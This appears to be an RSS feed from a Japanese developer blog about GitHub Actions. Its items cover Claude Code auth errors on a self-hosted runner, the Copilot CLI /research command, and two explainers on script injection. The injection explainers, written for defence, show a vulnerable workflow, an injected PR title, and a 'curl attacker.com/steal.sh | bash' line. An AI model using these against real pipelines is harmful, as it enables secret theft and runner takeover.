<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>GitHub Actions on hdknr blog</title><link>https://hdknr.github.io/blogs/tags/github-actions/</link><description>Recent content in GitHub Actions on hdknr blog</description><generator>Hugo -- 0.157.0</generator><language>ja</language><lastBuildDate>Mon, 06 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://hdknr.github.io/blogs/tags/github-actions/index.xml" rel="self" type="application/rss+xml"/><item><title>GitHub Actions スクリプトインジェクション対策</title><link>https://hdknr.github.io/blogs/wiki/guides/github-actions-security/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/guides/github-actions-security/</guid><description>GitHub Actions で ${{ }} テンプレート式の不適切な使用による攻撃を防ぐガイド</description></item><item><title>Claude Code + Self-hosted Runner: 「Auto mode is unavailable for your plan」エラーの原因と対処</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code--self-hosted-runner-auto-mode-is-unavailable-for-your-plan%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E5%8E%9F%E5%9B%A0%E3%81%A8%E5%AF%BE%E5%87%A6/</link><pubDate>Tue, 31 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code--self-hosted-runner-auto-mode-is-unavailable-for-your-plan%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E5%8E%9F%E5%9B%A0%E3%81%A8%E5%AF%BE%E5%87%A6/</guid><description>&lt;h2 id="症状"&gt;症状&lt;/h2&gt;
&lt;p&gt;GitHub Actions の self-hosted runner で &lt;code&gt;claude --print&lt;/code&gt; を使った自動処理が突然動かなくなった。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;claude CLI failed (rc=1): stdout=Auto mode is unavailable for your plan
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;すべてのエージェント呼び出し（researcher, risk, portfolio optimizer）が同じエラーで失敗し、日次の投資提案が生成されなくなった。&lt;/p&gt;
&lt;p&gt;ローカルで &lt;code&gt;claude --print &amp;quot;hello&amp;quot;&lt;/code&gt; を実行すると正常に動作する。&lt;code&gt;claude auth status&lt;/code&gt; でも Max プランで認証済みと表示される。&lt;/p&gt;
&lt;h2 id="原因"&gt;原因&lt;/h2&gt;
&lt;p&gt;2つの問題が重なっていた。&lt;/p&gt;
&lt;h3 id="1-oauth-トークンの期限切れ副次的問題"&gt;1. OAuth トークンの期限切れ（副次的問題）&lt;/h3&gt;
&lt;p&gt;ワークフローで &lt;code&gt;CLAUDE_CODE_OAUTH_TOKEN&lt;/code&gt; 環境変数に &lt;strong&gt;期限切れの OAuth トークン&lt;/strong&gt; を GitHub Secrets から渡していた。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# daily-proposal.yml&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;name&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;日次投資提案を生成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;env&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;CLAUDE_CODE_OAUTH_TOKEN&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} &lt;/span&gt; &lt;span style="color:#75715e"&gt;# ← 2月に設定したまま&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;GitHub Secrets のトークンは静的で自動更新されない&lt;/li&gt;
&lt;li&gt;ローカルでは環境変数未設定のため、キーチェーンから有効なトークンが自動取得されて動作していた&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-opus-の-auto-mode-制限真の原因"&gt;2. Opus の auto mode 制限（真の原因）&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;claude --print&lt;/code&gt; はデフォルトで &lt;strong&gt;auto mode&lt;/strong&gt;（ツール自動承認）で動作する。Max プランで &lt;strong&gt;Opus モデルの auto mode が制限された&lt;/strong&gt;ため、トークンが有効でも Opus では &lt;code&gt;--print&lt;/code&gt; が使えなくなっていた。&lt;/p&gt;</description></item><item><title>GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions-%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92-run-%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E8%80%85%E3%81%AB%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%92%E6%B8%A1%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃者にシェルを渡している"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を &lt;code&gt;run&lt;/code&gt; に書いた瞬間、攻撃者にシェルを渡している&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/tmknom/status/2029512334218244121"&gt;『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）&lt;/a&gt;が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用されている &lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;kou_pg_0131 氏の Zenn 記事&lt;/a&gt;は、GitHub Actions の &lt;code&gt;run&lt;/code&gt; ステップで &lt;code&gt;${{ }}&lt;/code&gt; テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。&lt;/p&gt;
&lt;h2 id="何が危険なのか--30秒で理解する"&gt;何が危険なのか — 30秒で理解する&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 危険なコード&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、&lt;strong&gt;任意のコマンドが実行&lt;/strong&gt;されます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;#34;; echo INJECTED&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;展開後のシェルコマンドは以下になります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#34;PR title is &amp;#34;&lt;/span&gt;; echo INJECTED&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;セミコロンでコマンドが分割され、&lt;code&gt;echo INJECTED&lt;/code&gt; が実行されます。&lt;code&gt;echo&lt;/code&gt; の代わりに &lt;code&gt;curl attacker.com/steal.sh | bash&lt;/code&gt; を書けば、CI/CD ランナー上で&lt;strong&gt;リバースシェルの確立、シークレットの窃取、リポジトリの改ざん&lt;/strong&gt;が可能です。&lt;/p&gt;</description></item><item><title>GitHub Actionsスクリプトインジェクション完全解説 — ${{ }}をrunに書いた瞬間、攻撃が始まる</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</link><pubDate>Thu, 05 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-actions%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%97%E3%83%88%E3%82%A4%E3%83%B3%E3%82%B8%E3%82%A7%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E5%AE%8C%E5%85%A8%E8%A7%A3%E8%AA%AC-%E3%82%92run%E3%81%AB%E6%9B%B8%E3%81%84%E3%81%9F%E7%9E%AC%E9%96%93%E6%94%BB%E6%92%83%E3%81%8C%E5%A7%8B%E3%81%BE%E3%82%8B/</guid><description>&lt;h1 id="github-actions-スクリプトインジェクション完全解説----を-run-に書いた瞬間攻撃が始まる"&gt;GitHub Actions スクリプトインジェクション完全解説 — &lt;code&gt;${{ }}&lt;/code&gt; を run に書いた瞬間、攻撃が始まる&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/koki_develop/status/2029339007013073368"&gt;@koki_develop 氏のポスト&lt;/a&gt;で紹介された Zenn 記事が話題になっています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;書きました。GitHub Actions 触る人は全員知っておいてほしい&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/kou_pg_0131/articles/gha-script-injection"&gt;【GitHub Actions】スクリプトインジェクションの実践例&lt;/a&gt;（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。&lt;/p&gt;
&lt;p&gt;2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。&lt;/p&gt;
&lt;h2 id="スクリプトインジェクションとは何か"&gt;スクリプトインジェクションとは何か&lt;/h2&gt;
&lt;p&gt;GitHub Actions の &lt;code&gt;${{ }}&lt;/code&gt; 式は、&lt;strong&gt;シェルがコマンドを解析する前に&lt;/strong&gt;テンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;通常の期待:
${{ github.event.pull_request.title }} → 文字列として処理される
実際の動作:
${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる
→ シェルがコマンドとして解釈する
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。&lt;/p&gt;
&lt;h2 id="攻撃の実践例"&gt;攻撃の実践例&lt;/h2&gt;
&lt;h3 id="攻撃-1-pr-タイトルによるインジェクション"&gt;攻撃 1: PR タイトルによるインジェクション&lt;/h3&gt;
&lt;p&gt;脆弱なワークフロー:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;on&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;pull_request&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;jobs&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;example&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;runs-on&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;ubuntu-latest&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;steps&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; - &lt;span style="color:#f92672"&gt;run&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;echo &amp;#34;PR title is ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;攻撃者が PR タイトルを &lt;code&gt;&amp;quot;; echo INJECTED&amp;quot;&lt;/code&gt; に設定すると:&lt;/p&gt;</description></item><item><title>GitHub Copilot CLI の /research コマンド --- コミットログも Actions 履歴も全部調べてくれるディープリサーチ</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-copilot-cli-%E3%81%AE-/research-%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89---%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%83%AD%E3%82%B0%E3%82%82-actions-%E5%B1%A5%E6%AD%B4%E3%82%82%E5%85%A8%E9%83%A8%E8%AA%BF%E3%81%B9%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-copilot-cli-%E3%81%AE-/research-%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89---%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%83%AD%E3%82%B0%E3%82%82-actions-%E5%B1%A5%E6%AD%B4%E3%82%82%E5%85%A8%E9%83%A8%E8%AA%BF%E3%81%B9%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81/</guid><description>&lt;h1 id="github-copilot-cli-の-research-コマンド--コミットログも-actions-履歴も全部調べてくれるディープリサーチ"&gt;GitHub Copilot CLI の /research コマンド &amp;mdash; コミットログも Actions 履歴も全部調べてくれるディープリサーチ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/07JP27/status/2028703509965939118"&gt;@07JP27 氏が X で連続投稿&lt;/a&gt;し、GitHub Copilot CLI の &lt;code&gt;/research&lt;/code&gt; コマンドの威力を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/research コマンドすげえ。Web を Deep Research してくれるのはもちろん、紐づくリポジトリのコミットログとか GitHub Actions の実行履歴まで全部見てくれて「お前のこのときのコミットのここが原因だぞ。Actions のログにもこう出てるだろ」みたいなことを言ってくる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/07JP27/status/2028273762769281343"&gt;元の投稿&lt;/a&gt;では Qiita 記事（&lt;a href="https://qiita.com/shyamagu/items/4e2d30a24594c005a02f"&gt;@shyamagu 氏の解説&lt;/a&gt;）も参照されており、MCP ツール連携や WorkIQ との統合例が紹介されています。本記事では、&lt;code&gt;/research&lt;/code&gt; コマンドの技術的な仕組みと、Claude Code との比較を交えて解説します。&lt;/p&gt;
&lt;h2 id="research-コマンドとは"&gt;/research コマンドとは&lt;/h2&gt;
&lt;h3 id="概要"&gt;概要&lt;/h3&gt;
&lt;p&gt;2026 年 2 月 25 日、GitHub Copilot CLI が全有料プラン向けに一般提供（GA）を開始しました。同日リリースの v0.0.417 で追加された &lt;code&gt;/research&lt;/code&gt; コマンドは、&lt;strong&gt;ディープリサーチ専用のスラッシュコマンド&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;通常のチャットが速度重視なのに対し、&lt;code&gt;/research&lt;/code&gt; は&lt;strong&gt;徹底性（thoroughness）を重視&lt;/strong&gt;します。複数のツールを呼び出しながら情報を収集し、数百行に及ぶ Markdown レポートを生成します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 基本的な使い方&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/research Azure App Service の &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt; 年の新機能
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# MCP ツールを明示的に指定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/research microsoft-docs ツールを使って Azure App Service の新機能を調査してください
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3-つのクエリ分類"&gt;3 つのクエリ分類&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/research&lt;/code&gt; はクエリを自動分類し、回答形式を最適化します。&lt;/p&gt;</description></item></channel></rss>